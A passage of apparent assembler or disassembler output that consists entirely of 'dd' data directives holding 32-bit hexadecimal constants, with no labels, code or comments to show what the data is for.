0A3AC786Fh, 41A17D9Ch dd 4AB28DBAh, 95177DF1h, 766CAC94h, 6B10CA01h, 0AFE9B21Fh dd 56034E97h, 1793B8C6h, 5BE64624h, 91E2AA43h, 77E5946Eh dd 7F60A3F7h, 436A9219h, 0B1361BD5h, 4A3800A1h, 0A71AAEFCh dd 0E6DB9F50h, 5852A41Eh, 0C1A04689h, 0A905B60Ah, 0A46B24E1h dd 3F22F047h, 7752225Ah, 6880CA8Dh, 5DF00177h, 26DB9077h dd 0A21665ADh, 0F10CFD27h, 0E0EC1629h, 6599DD22h, 5F4806Fh dd 9A1F9799h, 9F74D97Ah, 0F7BE4118h, 7C75F783h, 5BDB3C56h dd 0B9743978h, 7D967D97h, 4D970A1h, 0F72D6AF3h, 2A34799Ah dd 43881C38h, 23CBFA40h, 1E26E9FEh, 96E3EFB5h, 89B67474h dd 6A542413h, 37258F34h, 7B85319Ah, 0C04D421Fh, 510416B3h dd 0DF5DAB84h, 0B1324304h, 3EACF3AAh, 4FF4C544h, 1C95AF5Ch dd 0D7BCD198h, 0D52E0C5Dh, 82F94545h, 0B44DBDECh, 0F92BE88h dd 62C980A5h, 6EA5C77Dh, 0DDE31460h, 0EEF45C82h, 0B1B7264Dh dd 73A98A9Dh, 0DE1BEA0Fh, 15819FD9h, 24DF6A4Ch, 53E970F5h dd 60B4469Dh, 0E472FCB4h, 8865D969h, 0E9AA8820h, 67939A2Ah dd 0F0CD358Ah, 4D7EF476h, 0D07DB4C4h, 61A33877h, 12EE1838h dd 17F8E8EDh, 0B3910197h, 9831395Fh, 0A4CFB52Dh, 0ED61CCEFh dd 0D33960AEh, 97AAC5D0h, 245E01F5h, 0BABDD457h, 0A2D60E9Ch dd 2742EC92h, 7C02CD4Bh, 0A4153EF6h, 14331681h, 14E4762Dh dd 2E7D17AFh, 2B430EAh, 6156913Dh, 794D4E44h, 0D40DBC20h dd 0CF1E8F27h, 0B07EA3C4h, 0DD1BFBFFh, 2F6E591h, 42A3429Ch dd 0C2BA73D5h, 0B14B5Eh, 78C59806h, 776C3D2Bh, 65BB5BC4h dd 3EDF278h, 9FD0EAA5h, 30C6EAC3h, 6F44E5BBh, 3D8FD003h dd 528E94B1h, 819B32BBh, 9FD70C7Bh, 911CFB35h, 75FF8D7Fh dd 3A6B19A0h, 0AC165ABh, 0A52324CAh, 2196D087h, 27FD4CB0h dd 0DA7A520h, 27B4E0FBh, 0A3F5FA5Bh, 0A67A910Fh, 0B98DD867h dd 48A52465h, 0AD370F3Eh, 2F1886ADh, 0C48CDA7Fh, 0A141D893h dd 72A9E7DCh, 0B33D1BBDh, 1637EC9Ah, 7292DE37h, 26FADBF2h dd 0B3B4F531h, 0ABDFCF19h, 136FC48Ch, 85D00C47h, 5632FE25h dd 73BF7F8Ch, 0BDE35904h, 0C723537Fh, 89CCB1D7h, 6EF013FBh dd 87DF8A19h, 0CBB7AA36h, 85A77F7Dh, 0AED143FAh, 0B1CFCA0Ch dd 0F081E3ECh, 1152575Fh, 5D69C9A5h, 31EA77E1h, 9695DF9Ch dd 0FB9F1C07h, 0CF7AB35Dh, 82ED0E09h, 85AD9BB5h, 4C6BA3DCh dd 4441C468h, 41912ACCh, 0E018C17Ch, 0D0F73F2Ah, 1C68A9F6h dd 2FF51C71h, 7D414043h, 0CA38CDC5h, 1709BBA5h, 78950017h dd 52F913E3h, 0A75DEECFh, 0A31C4E99h, 4BE9A20Eh, 0CF669795h dd 0A0A99A9Fh, 22F9AEB3h, 244B0A39h, 7AA18083h, 32B47702h dd 0E06B7AB9h, 668BE3B8h, 986796CDh, 0AD3A651Ah, 84C2FE32h dd 0BA9238D8h, 19C97E8Dh, 9C8C962Ah, 0EBC5DFB9h, 715F35D8h dd 3819B857h, 33A04954h, 1AC03C13h, 0D18B8080h, 38BFC090h dd 21E3BE79h, 0FD208A3Bh, 6EF12777h, 3DDC5209h, 0B1BA23FCh dd 21658791h, 0C9FCC4DAh, 29D54FA8h, 27536500h, 20353262h dd 200BA92Eh, 2FF989C3h, 17BC3A7h, 8CE3C3E8h, 0AB2302ADh dd 0E357DDDCh, 26961D2Ch, 0F107E48Ch, 75087A33h, 13C2BE66h dd 5466247Ch, 84A66C6Bh, 30AEE184h, 2472922Bh, 394AF522h dd 5DBD49F1h, 7DFF4A0Fh, 7EE8AE9Dh, 7A339E5Eh, 4BDEDA4Fh dd 6A0AB3A3h, 3192A8A1h, 0D029127Bh, 1F24FB5Eh, 0A5B3632Ah dd 0BC30BED3h, 0D16CCCC4h, 64086480h, 0A24F8279h, 4F498EECh dd 290C6905h, 508D7F8h dd 3194CA67h, 77691B40h, 0EF1B419Eh, 0A8805D7Ah, 48560935h dd 0AF1F03F4h, 6A15261Ah, 0D971E753h, 0C2BEF5BFh, 6311C27Bh dd 0CB603E62h, 816FA986h, 54B2590Ch, 6E0854B7h, 0CAF3844h dd 6BD9F15Dh, 14A4EE9h, 0FA9ED5E1h, 0F26E31A8h, 0B1EA16FBh dd 772A6B3Ah, 5BAE6580h, 68F93947h, 1F6D3DDh, 0DF001123h dd 7CF91B9Dh, 3189109Dh, 0BE1A457Dh, 0A8EEDB44h, 1B6687F0h dd 0C9D9AE2Fh, 0C2A5B31Fh, 0F28F7D01h, 0B08435E0h, 9C98E69h dd 0F7CDE3E6h, 9249F594h, 783FE2FBh, 0D6F90E93h, 245CB0CCh dd 5B29C27Ah, 0C7DFC162h, 0D182A454h, 8E22C62Ah, 0DA4A47D7h dd 249DEC60h, 96F59AE4h, 0DF3AEC6Fh, 85719D87h, 6E4B108Fh dd 6B58DC8Bh, 872B4ED5h, 0CF29712h, 8D1AB820h, 0C76BBEB7h dd 0FF343B70h, 0D43CCDA4h, 5C2C3285h, 0DA2EFFC6h, 0FE20DE18h dd 0FCC84A9h, 9AEDFDF8h, 72521670h, 0E3D309CEh, 2ED834B9h dd 173A1FFFh, 94760660h, 0E5263E50h, 0CDE8E9B8h, 0A535564Ah dd 7496121Ah, 0A3887114h, 0D75EE187h, 0DB4276F8h, 0B56BDC82h dd 1F4CB9D3h, 9546F972h, 0B7A6DDCAh, 39FA862h, 2D1BC0D1h dd 61952AB0h, 7D34FECFh, 3543202Fh, 0FEAFCAACh, 1872A113h dd 0F6E0219Dh, 5F97205Dh, 67113BB0h, 2193AA2Bh, 0C32C621Fh dd 0CF9D5BAAh, 473582A5h, 0DDE82121h, 34EF17A1h, 66465CEh dd 0AF53B78Bh, 0B12D5606h, 2CCFDE9Eh, 48EEF4DEh, 21E23A42h dd 0B984FEEh, 0EF79D5B6h, 1E422241h, 5A89AF23h, 177F996Dh dd 0EEC69C62h, 0E48B29F6h, 365B9CB3h, 2A67D4E9h, 0FC2C62E4h dd 0D6ACB405h, 0E6909BC6h, 97C9668h, 76372351h, 3B67CF9Ch dd 2BB313C4h, 0E3D7BEB4h, 0DDE55970h, 0B95FC907h, 91B82FBh dd 1C6D64D0h, 0D6C4AAC7h, 0B4F429BDh, 4D19B9B4h, 853DD576h dd 5481F22Eh, 889FD77Fh, 80802D36h, 0E56F5C96h, 165EBBEDh dd 50C1AA3Fh, 97056D9h, 841A8AFBh, 0B8200C76h, 1001AD2Fh dd 9EA4DC9Ah, 0D3717A0Dh, 1D26DEDBh, 9BE0CD7Bh, 0BADBB24Bh dd 0C54BF198h, 1D44657Dh, 0A104055Eh, 0D014A4E4h, 8726E3CFh dd 5DE8F89Eh, 9D0AE05Ch, 718A4375h, 6C1208F0h, 416A891Ch dd 0D8082080h, 8277B5F5h, 0ED494E7Bh, 72C80A91h, 25758921h dd 0A5794F0Ah, 427D3806h, 522FD63Fh, 0C23A6022h, 0E5C15581h dd 7A79CD39h, 346F941Fh, 95363B6Fh, 0D5265B09h, 90BB90FEh dd 0C3D5A55Fh, 77B85472h, 35A000B6h, 6B6EAF36h, 0D82FB42Eh dd 61071356h, 1793B09Ah, 8E1A0603h, 520EE681h, 0B03CDCCAh dd 3EA94F89h, 0E43A5337h, 0E93C177Ah, 461A4BEFh, 0E938DA70h dd 8AF57B3Dh, 0CF6F1B70h, 91E925C1h, 0BF5C9BBAh, 0E7A8F635h dd 18A904CCh, 0FB85E252h, 0BAAB9492h, 0D71CA125h, 0A4B59632h dd 4D875FA5h, 0AFEC4BF7h, 59FF78C0h, 0D3F6B167h, 14BB65A2h dd 0A5DA4461h, 3832C8B0h, 9DF89D93h, 95E42533h, 6FFD6E4h dd 0E61626F4h, 0B733417Eh, 1CD1B34Fh, 355777h, 729A766Bh dd 0A005A8D4h, 2F829365h, 0A7F5E15Ch, 4BD8F208h, 9224FAF0h dd 4B566F18h, 0F8B24A4Eh, 5AC4FEB5h, 0F562A6BBh, 0B00418B6h dd 325BD592h, 72CCB69Fh, 0E2048447h, 650523h, 785DF0C8h dd 0CC2444Eh, 0BF9AF1F1h, 64E68477h, 0A9F761E2h, 0FBA40531h dd 427BE8C8h, 13412738h, 3AE4E41Dh, 5C765B68h, 0E1201CCDh dd 0D75251BFh, 86F13B9Eh, 48DDB2B4h, 0CD51015Dh, 38A3F6FBh dd 0C4181920h, 0A40B7742h, 176C5525h, 6CCBF727h, 0C20E8758h dd 4221A7ADh, 400F6941h, 0E387B7E5h, 22A183A5h, 2D3F6742h dd 0C5E78392h, 60EFCE23h, 0E5468939h, 8C22807Dh, 53AAE7A8h dd 7E060BC3h, 433ADB45h, 8690FCBDh, 1CBA14FCh, 695DC6D9h dd 2DDBA0ECh, 0CBA455D3h, 94FB3C29h, 5C78139Bh, 0AAE5A3A0h dd 285708E6h, 82345685h, 0BD1CA415h, 17B9D45Bh, 0D0481205h dd 893124h, 85EB1B8Fh, 5E9DFBF9h, 877EB223h, 0AFC79BD4h dd 5747800Eh, 5E5B8436h, 0C17C6BBAh, 99767F13h, 0A965BB82h dd 0CA2C9D27h, 1AB9390Fh, 555B7554h, 7F77EFBFh, 90836985h dd 1A200362h, 6E7449ADh, 5A66E0E4h, 0D34C2D9Bh, 0F1A26DAFh dd 124A3994h, 0C7E844E6h, 12D9B2FFh, 0D650993Fh, 758CDB62h dd 363ED04Ah, 6BF16357h, 23A04507h, 0D75EC1E8h, 0E99CFD21h dd 91ED310Ah, 0B5A69C87h, 7DD96ACCh, 0EF8A3968h, 6A19BC44h dd 3EDC8EABh, 0E60BDBAh, 3CEBD185h, 638ABFCFh, 0C66C8D60h dd 6F78F01Fh, 945EF096h, 0DCD344B0h, 461BDFFFh, 165B11BEh dd 64ABF03h, 0AD0C7394h, 51F0D64Fh, 0B1014E90h, 26D8383Ch dd 7F98DB9Bh, 0FD2E2253h, 0EA6DAA27h, 82E9F727h, 2193B2ADh dd 0FB902BF0h, 8C6EA591h, 77EC7CBCh, 9D0BFE4Ah, 0F33CFB5Fh dd 0D43ABB1Ah, 31FA2E9Eh, 2556F6BBh, 0BA22598Ch, 0C36BFE9Dh dd 11403C79h, 0B2745F15h, 1136E248h, 0CBB4D4Eh, 0CA50F3BBh dd 0B300C91Ah, 0A6EFCA66h, 0FCF91B3Dh, 0E95930B6h, 3BF296A9h dd 9F071E54h, 976F6121h, 45C90B2Fh, 34DC8C9h, 6551E03Ah dd 0A8568259h, 1382E295h, 0C48E7B8Dh, 6FFCF04Fh, 120772E3h dd 2FD64BC5h, 92223B86h, 0C2F959F2h, 0FF25138h, 0F0773B2Eh dd 5DE5A6EBh, 7A5ED995h, 0D440ED23h, 2C9C97DBh, 89EEE17Ah dd 0A63F949Fh, 25D81162h, 0F991AF20h, 0B661807Eh, 0CA58A1C9h dd 4DD5BB69h, 0ABC12EAFh, 74F9AD5Ah, 13F9A91h, 0B3BD918Dh dd 0BF22E2B1h, 0BF7370E1h, 8BC315EFh, 29DFFAA4h, 729036BDh dd 0B69854A0h, 0FED5B19Ah, 13911C3h, 93467CA8h, 0CA9B5BDEh dd 9AED90EBh, 3CD30727h, 0B83FFA2h, 0EECBA29Eh, 7B1CB3D6h dd 88B637F0h, 0A7E45615h, 9339AF6h, 83B1B37Eh, 0B8643072h dd 0BF59DC94h, 641D8170h, 581C4CBEh, 1D3D0780h, 0D05331B8h dd 0F3B7B0Fh, 0C1BA647Bh, 8D35B815h, 0B53DD175h, 8AB9C383h dd 3ACBEA16h, 0DA39A3DBh, 2AA2FCD1h, 1C4D7B5Dh, 0D9AE9B4Ch dd 0E63EB40Bh, 9CB98860h, 4A1C1173h, 44422FABh, 0B3B1FBDCh dd 50B56177h, 430FEFB2h, 590CDAE5h, 0FAFF8D1Dh, 0CF4D6570h dd 0B47C13D2h, 5D4AE9C8h, 3D978F8h, 0FA26010Eh, 0CD4DB9FFh dd 0F2A4BE64h, 0BC5D9D63h, 0CAD3B366h, 5F6B6C88h, 961D1BFDh dd 91219635h, 31E58CC0h, 6E79F950h, 3BFA0D03h, 9030C96Eh dd 0EEB7BFDEh, 5B234635h, 1C923856h, 105A0F2Bh, 1E94A258h dd 0F3A4556Ah, 0E8C67070h, 6FE643C6h, 0C78A3F55h, 3049486h dd 9E90C1D0h, 0BF89EB72h, 41C4E22Bh, 0AC2C7B79h, 95605572h dd 0F9D8A36Bh, 2137F7CFh, 5E68D391h, 0D05F8597h, 82CE6F5Bh dd 0D49FF155h, 8C0F5CA1h, 194D55F3h, 31D0ADD1h, 3E7EEABBh dd 0B7507447h, 0EF864925h, 46880795h, 0A6EBA3C7h, 0E968E4B6h dd 0AD46C79h, 8621A8A1h, 0CD50DC0h, 5D821818h, 12250E89h dd 1331D2ECh, 97F29B3Bh, 64127EB6h, 92729355h, 0E60BA8C8h dd 0FE55360Ah, 0AF3CA296h, 13CC3910h, 62F66B6Ch, 0D501CFEDh dd 0BAE76AAFh, 399D42BDh, 6677861Ah, 87A64D2Fh, 0DF0A6FCEh dd 18121A26h, 6CF6CAC1h, 2E9872C4h, 0CEEAF589h, 3C48668Eh dd 65F27C26h, 0A4B1FF64h, 0C444B69Fh, 0D3D0A65Bh, 0F61B7F78h dd 35531836h, 5CCDDC44h, 98938448h, 0FBD4080h, 0D321517Eh dd 841588D9h, 980589ADh, 9FE6B159h, 5298FD10h, 8AFA17F8h dd 514A990Ah, 47873AE4h, 1B0ECC38h, 0E56BE839h, 0A6F53959h dd 0FFA3F6FEh, 9C67A3C5h, 0C6D74B0Eh, 70F58900h, 0E01091C4h dd 31CFFBE2h, 6D58986Eh dd 6DA696DFh, 0E0E86704h, 33A833FBh, 0A782115h, 0A63FA5BFh dd 78DCD6B5h, 8073743Dh, 8BFCD375h, 0F7FEB34Eh, 9614250h dd 343F6F30h, 0C03FA40Fh, 3271759Eh, 0A1AFD4DAh, 1731D185h dd 1EC7317Ch, 96B4429Bh, 20B54D2Ah, 1B9A167Fh, 2AF8DA7Bh dd 0E98B00FCh, 3904C590h, 4A43ECE2h, 554F85Ch, 0B1CBDE9Ch dd 5D6E13B6h, 62256C40h, 744F43FEh, 9CB444CCh, 6A3EBCCFh dd 0C6244Bh, 0F4C45FE1h, 300CA513h, 9912E0C9h, 2DF70D7Fh dd 927458F5h, 9863ACD0h, 0C56F561Dh, 340C2095h, 85F6193h dd 0DAC115C3h, 2EC17F8Eh, 824D10FCh, 0EE955128h, 475CBCA0h dd 0A5E9D227h, 0D9317186h, 8F61CA6Dh, 82084095h, 0DB84EA89h dd 0D85E70EEh, 3A9650A6h, 0F04E87CDh, 8B326DF0h, 142FB390h dd 0FA68FCD9h, 15BD7C5Ch, 4F851C7h, 0D7170547h, 5B49B146h dd 0C968E2D4h, 0AA778FBBh, 4851736h, 51997D31h, 53543EB3h dd 0AEF4E8BCh, 3FA7145Fh, 0FE7ED32Bh, 2C38871h, 3E577F65h dd 41724DC5h, 1194925Bh, 0E57B2185h, 9A8220C2h, 50B8685Fh dd 0BC07C7B0h, 6B8169A2h, 0E4B1CA7h, 43448CC6h, 8252BE3Fh dd 1FF7E0C1h, 0AF42A8Eh, 8125C3B2h, 85BA8A9Fh, 7C85CA68h dd 881ED237h, 34EFFD25h, 0CD4D1680h, 76C71E1Eh, 0A12B4E9Dh dd 4D6705ECh, 0C355AE7Eh, 0F8194B8Eh, 0DC42ED21h, 91815815h dd 0F274C918h, 0C9846307h, 0E570937Dh, 3DE018E4h, 0EBE40D92h dd 1AF22EC0h, 31AEF772h, 0F589A3C3h, 2A6DFDE7h, 0CDA8B838h dd 1713482h, 0B907D372h, 65528197h, 0B3148BFCh, 163BBF2Bh dd 7A08DFF8h, 0B8350FEDh, 0F5F82CC9h, 86B3690Ah, 191E665Ch dd 87780414h, 0C341BBh, 85DD4B08h, 0B3B5901Bh, 9168AC6Ch dd 878FD3E1h, 0A6AAC023h, 680D975Ch, 6CBDA72Fh, 0BCF8EFFAh dd 94A22865h, 3468B9C8h, 24694362h, 37C40D19h, 0AE541BABh dd 42DC1B77h, 0D68C23D5h, 80865CB6h, 43FC985h, 3C46E3EFh dd 45636245h, 81913B05h, 0FD48794Ch, 2AF3C5CFh, 0DE1781EBh dd 46E1144Ch, 7FEE40B2h, 0FADAB0BCh, 0E195C7DFh, 0D7A0709Ch dd 0CF943553h, 9BAEF763h, 0F288FF73h, 226C3D7Ah, 1380687Ch dd 0FA830339h, 534844C9h, 51C1F1D7h, 7AB30F58h, 13E02973h dd 0B1C7B7FCh, 35FE3726h, 45AE1CC7h, 4F86B682h, 32567D1Ch dd 3B90CE72h, 2E00386Eh, 7B457B12h, 224C5EBAh, 2BA4D4CDh dd 0E3FA304Ah, 0DD2BA61Bh, 0B0E38C9Fh, 0D9B66406h, 37375F5Bh dd 36118C26h, 0B49C180h, 258AFF1Dh, 0D292BEFh, 28AD7333h dd 0F8388638h, 0D0D3FBh, 0FB893920h, 4666C493h, 0A1D86E8Fh dd 0AD1F8AD0h, 52C437D1h, 0E3468088h, 2B635E8Fh, 296BB239h dd 3905E8ABh, 6A75FE1Fh, 1664BADAh, 3D11C134h, 0AEBDC172h dd 0A8A3B9EAh, 0C503FE42h, 0CD53E463h, 0D70ABD5h, 4DA85944h dd 0A77FF42Eh, 6F9EA67h, 0C56F21EEh, 4EF677F4h, 0AF25621Ch dd 3C4EC58Ah, 2164F53Ah, 88BD0792h, 50A94247h, 846AC4AAh dd 83FCDDF5h, 0A1549105h, 1FDA6526h, 0A7039F2Ch, 0FB67AECAh dd 445538B7h, 5DD16D16h, 3B00C3FFh, 584E708Bh, 574C23F7h dd 20972843h, 0D23340EBh, 89CE67E6h, 97DE5D02h, 0F077A8FDh dd 0A5EFA616h, 0EAEF7B6h, 12C09663h, 927165F0h, 61A36B76h dd 527B809Ah, 9E9210EDh, 17B8E7AEh, 9DC0678Dh, 1BDC334Dh dd 0D348A081h, 0D072325Ch, 0ACF1CBCAh, 0F10D33EEh, 5F7A6CEEh dd 9BF7CC3Dh, 5E158ACCh, 8115E1EFh, 2D8467E1h, 94A509BFh dd 0BA3DB9ACh, 0CC5FD193h, 8468959Eh, 7EADA356h, 4E58EC04h dd 3B3694CFh, 2A02F629h, 7F592A1Eh, 45A71177h, 0AD89FB47h dd 0CB5BB6E1h, 0BC87CE01h, 36F903D1h, 46DF6B86h, 16100CEFh dd 2772BA32h, 7C997482h, 982A7C8Bh, 1B6ABBF6h, 83087B91h dd 6871A9F5h, 5771CAEBh, 4E79E3E2h, 0B0EF899Bh, 2112C3FDh dd 6C57A5A4h, 15AF2BD9h, 822DB2ABh, 21F5D7BFh, 96718A53h dd 5C4A4334h, 7BA9BC0Bh, 0CDC7AFF7h, 72637F9Bh, 0A0E91227h dd 987F7Eh, 0E7076FDAh, 0FA782621h, 0FD8664E8h, 0D93831E0h dd 0E137F49Eh, 0FA7EC391h, 33D6CA3Ch, 0BD57FA31h, 91F9D6BBh dd 92A6F394h, 58ACCA4h, 9B266C94h, 70AA6C6Dh, 405BECBEh dd 666C072h, 8F053862h, 66C18ED3h, 33464EA0h, 0F0C8661Dh dd 4B02FFAFh, 8064B7E8h, 0CAC04700h, 0C569944Dh, 0D4DD70E7h dd 18AB6EA4h, 553A719Ch, 64628778h, 811275DBh, 5D37A6Bh dd 0BA955704h, 0E2F00E64h, 0C0129F02h, 8B825770h, 62F9987Ch dd 0F5B86627h, 0ECE02329h, 4F31BE7Eh, 0A8C8D82Dh, 6CA8B34Ch dd 0D05D5FB3h, 55B151F2h, 1135E46Eh, 9A2B9171h, 460A9778h dd 0A8A50132h, 0EF767AFEh, 0D08890F3h, 70F54F24h, 0C409139Ah dd 922D822Dh, 822EEAB2h, 5038EB98h, 423E5CD6h, 0C9A5F64Fh dd 0AE3B9AA0h, 618E2024h, 2A81706h, 48D1F2B8h, 4854E425h dd 40DA0768h, 0F37F063Fh, 1CD214B6h, 1DAC65ECh, 0C411667Eh dd 5A1B8570h, 20BE066Fh, 0CB59D0CCh, 0D2DAA690h, 0B6E46548h dd 1B45B591h, 8C19511h, 4670F765h, 0D39E91A4h, 4D60F405h dd 68149CE8h, 8CFF1161h, 0A84C47ADh, 9B33DF68h, 1DA1C88Bh dd 0B3CFD6B9h, 0EB60CE14h, 76FF61A5h, 0A705E305h, 0DCEFCA8Fh dd 2FF7EC1Bh, 62B7AF46h, 0A500F0F6h, 509E4E20h, 7DABFF9Fh dd 2F84A587h, 0C5A714AEh, 7AEB336Bh, 9EFFD6E2h, 4C31BC99h dd 351BEE38h, 56CA8499h, 6086B030h, 2E8208BDh, 32FDEB53h dd 4E41DB63h, 0E1F3FB9Bh, 0F9B6DF1Bh, 6E0686C4h, 564DCD9Eh dd 0A69F6E22h, 4535FB02h, 6BEE03Eh, 7CA8AB12h, 0BF084235h dd 3CFA5940h, 463914A8h, 4B409687h, 0F8016CDCh, 4BEF4CC2h dd 7D7292B2h, 0E984FD39h, 0DA046E15h, 6907B9F9h, 0B3F781ABh dd 0AAAAB8ACh, 0CC034A1Ah, 0B6C01DBh, 8453AD3Ah, 0D22FA512h dd 779979E8h, 0FAE3C1CCh, 104E37F9h, 9F281626h, 0B56F83B4h dd 0E74BBF5Dh, 0BDD052F6h, 6E9682C6h, 3E4DC09h, 6D0F720Dh dd 9660D1FEh, 69CEA79Ch, 0D4F42CB2h, 0A99B3078h, 0B533DDBBh dd 16411481h, 61F34ACh, 0C20B2FF4h, 49F1E1D1h, 0A993E74Ch dd 0BA8DAA03h, 5A48C675h, 0ADC5F46Fh, 6D8EB9EBh, 71AF0A9Ah dd 872F8915h, 0A0C88127h, 0A8E514EBh, 0EB49ECD7h, 0BF592D7Bh dd 0C7843432h, 50AD005Fh, 940A661Ah, 40372491h, 68E44DCDh dd 1819F0EFh, 8D740814h, 0BD28383Eh, 0D4D5B503h, 0D7DE964h dd 0FB76C721h, 7CEAB0BDh, 9ADF7A4Bh, 0A4ED946Fh, 188A77E2h dd 0FA06195Ch, 872A2766h, 44FF9A3Ch, 6D84FA0Ah, 0D586F352h dd 8731ECBFh, 44BDAFBDh, 0BCC9625h, 0FA51B502h, 0EB1DF7DDh dd 861BB035h, 482AE3D8h, 0E440D1D0h, 0D1A2C400h, 10C8F3FEh dd 0E6FD1E24h, 0D5070BFFh, 62B1377Eh, 48F71CB0h, 0CE053FDCh dd 3C260B97h, 42C3048h, 71B7015Ch, 89EDA187h, 75842C4Eh dd 13B633Ah, 209EFEBDh, 0EF1616FDh, 0C571AB55h, 2185354Dh dd 0FBA4BAAEh, 4D6520FAh, 58C797EAh, 7201514Fh, 6B4AF72Fh dd 0FC37068Dh, 648D2470h, 4E3E709Ch, 1FE6208h, 7FA9F52Dh dd 0AD1D3D89h, 6DA11949h, 0A6AB6FF4h, 0B0349DA1h, 0B8EBA844h dd 77C84B36h, 405FCAF3h, 22159937h, 0F96CC5B8h, 7F5E490h dd 1EF7FA04h, 0E41D7A96h, 6E6103D2h, 99B7B8ABh, 1226D603h dd 86F3C096h, 0BE69795Eh, 0D26149C9h, 4A251527h, 62B5E3E0h dd 0EA468EFFh, 3487B376h, 0B86D08C2h, 19825F16h, 7F6F7BB3h dd 5EF87878h, 0AE2D6822h dd 275C315Dh, 877A4E9Dh, 0FB34CD5Ch, 0F0720705h, 0DAF5C051h dd 704263FCh, 0F1034CAEh, 0A6B61BC4h, 874281A0h, 0C06BFFDCh dd 0C21A7899h, 9332B1D9h, 0E85A4B7Dh, 0D5CEF704h, 12067C10h dd 1144CB67h, 21407A6Fh, 0F2239FB3h, 6D41274Fh, 0BE5DA82Fh dd 2172DCEFh, 659D720Ch, 0E2E36AF6h, 0E8D9548h, 7D97BB1Fh dd 0C2DB4358h, 1358F09h, 0D37322EDh, 4FFDE99Fh, 72699624h dd 537E5C59h, 0B947D64Dh, 9BAA4490h, 2F49ADE2h, 1B0EBFF4h dd 1DF64B13h, 32A56D2h, 5CF3F6F7h, 4A5D2840h, 257118E5h dd 2FC6177h, 0F69D7C1Eh, 0E918C83Eh, 0A3467651h, 2CD2830Eh dd 8D9F73C0h, 0E31711DAh, 5ECB4799h, 0EE86F13Eh, 369F049Eh dd 0C22FA041h, 8C16BA38h, 0AC936AA3h, 24CEFB47h, 0E8D6B8B1h dd 0B2D36682h, 0D85FE33Eh, 0AA305B18h, 0A6E54C9Ah, 0F6A3CD2Bh dd 181D354Ah, 9E2ADEE5h, 9982FC3Eh, 0B25602C1h, 92F2B96Fh dd 0ED3C14Bh, 8DCF7704h, 0F71D1254h, 0BD20E6C5h, 0FC64C1A5h dd 3979C964h, 2EC10671h, 15566052h, 0F7AC4D05h, 52FC2DC7h dd 19B1C6EBh, 9CE27692h, 9D31E146h, 75850F81h, 0AD567AC9h dd 8945BF30h, 0EDB5CD33h, 6D7AFCFDh, 28714841h, 249E6D87h dd 0C531CE1Dh, 8AEC1373h, 0E408DB9Dh, 0EAE76BBFh, 60222B99h dd 0BB20AB02h, 0BC4A06D0h, 0FE9F3641h, 0FA1425BCh, 2F798F44h dd 9E1A796Eh, 0EAD252D1h, 6BE4780h, 0C714B943h, 6FB9E0CCh dd 0E31C7182h, 3CE271C9h, 0DB86416Bh, 7FF712A6h, 0FF13DBB3h dd 5B67DBE2h, 36372FEh, 1156A4D1h, 0C0317076h, 4E3E9B8Ah dd 6A9AEEF0h, 173B6134h, 7F053BE8h, 7C042E88h, 3FB00DC1h dd 55072CFAh, 85A87049h, 7305CE7Ah, 30A5FA81h, 0ACF83A15h dd 0C960C49Ch, 0AC9FDDD1h, 75CD3845h, 1B450ED4h, 48FD0E2Bh dd 0C1D2D518h, 9B8F1EC1h, 0AE5F3058h, 6A781F47h, 69B91728h dd 30C8EB1Ch, 9CFA6C89h, 0DF3515C9h, 6B62F168h, 14A7AA54h dd 0B3A9213Fh, 0B8E944AAh, 34B84BBEh, 0C5D3A5C4h, 9E74A025h dd 4278DF2Ch, 468BB4F6h, 83AB427Fh, 0F16B60BCh, 4BF71594h dd 5F0277CFh, 68E2F844h, 5816955Ch, 7F5FF300h, 579BDE4Ah dd 4DD9CA73h, 0BB4E9E37h, 748FFCB1h, 0EFF2B88Eh, 5DCF9731h dd 139529BBh, 42B78E22h, 86C0A590h, 0F90A7E8Fh, 409E5D08h dd 0DD3C385Bh, 9E0F0C0Ah, 0F5B934D0h, 80B5A42Dh, 0CD0E632Bh dd 0C9303C1Eh, 0A5D0A60Ah, 36D14710h, 659F9F28h, 24DB969h dd 0B171E60Dh, 1C7B8FF1h, 9152E794h, 7A0007A1h, 31808773h dd 2188CBF1h, 2A79323Bh, 0BA7D1951h, 0E843922h, 324FB8D2h dd 0B1BA0CB7h, 0C1A48B72h, 1BAE4139h, 0B0118A69h, 987A6810h dd 4D44E327h, 1DD038D8h, 0CA635DC9h, 611DB480h, 719C4FC6h dd 0A217F8FAh, 5CA18F6Eh, 6E8C4688h, 8B364F79h, 322F586Ch dd 39CA0F23h, 6EA66CC2h, 0F49D3FCBh, 1ECF9C19h, 0C0866A67h dd 1DA88E0Ah, 84741249h, 9DE50E40h, 0B6919D9Ch, 0E0C710D5h dd 5028640Bh, 1C4C6C04h, 3BF01F31h, 28B5899Ah, 0CDA8E760h dd 0A751E34Ch, 0C392D742h, 549E7509h, 0A6104731h, 0BE4FB9ADh dd 0FC2CDD5Ah, 1A792098h, 759E5F4Ah, 0B9324B23h, 0C0386D67h dd 39DDE4EFh, 4D10F86Ch, 2976FA3Ah, 0D4052FD2h, 20C13C82h dd 37A0ECA3h, 0D22C6C54h, 0A57C11B5h, 211CA73h, 0E3BC7C49h dd 9574A0ADh, 2EC1F65Eh, 99B68B87h, 0BE4684F7h, 696F1519h dd 0FB0BCB40h, 37689192h, 8BA632FDh, 7AB641F2h, 7797F2C2h dd 8C4D6728h, 0A6A53524h, 0B73DCDADh, 9DA89BE3h, 0CBEC9AABh dd 767242E2h, 0D06D67C5h, 0A6889491h, 0AFBBCBE5h, 9D043CE5h dd 0AC5F4E7Dh, 2D014ADDh, 2A3BFF34h, 0D8FB546Fh, 0B7D921B4h dd 8595F6BAh, 0C00CF755h, 14762380h, 0F511983Ah, 818495A0h dd 5930ED9Bh, 3A699091h, 0B6F734A1h, 99776146h, 0C98ED4B1h dd 0FF89A016h, 9B713475h, 0C98F65BBh, 1AF35E6Bh, 0DC64C0E8h dd 14A7AAA4h, 22B1430Eh, 1E90D2BBh, 0B79BC2FAh, 4A49FDC6h dd 67C15CEDh, 0E2478B0Bh, 4F10D04Fh, 0BEC84A95h, 3312B4EBh dd 817C96C3h, 7F1B7887h, 5922D49Eh, 94A33D5Bh, 1DA87A58h dd 0E9898833h, 0E9648573h, 27403ED0h, 0D4B5BFBCh, 0F64C77Fh dd 7BE405DBh, 0B2B82E94h, 3E425D4Ch, 727BF839h, 6EF6ABBCh dd 4764A05Ah, 0E03122E4h, 0FC787665h, 0EDD2E8CEh, 7F9ABAD5h dd 0F86E9BFEh, 0BD9E9761h, 0AB8292ACh, 1D7FEDF2h, 514EEB38h dd 30079A82h, 8B1CBA82h, 44D406C8h, 4755B622h, 0D9E5DE8Fh dd 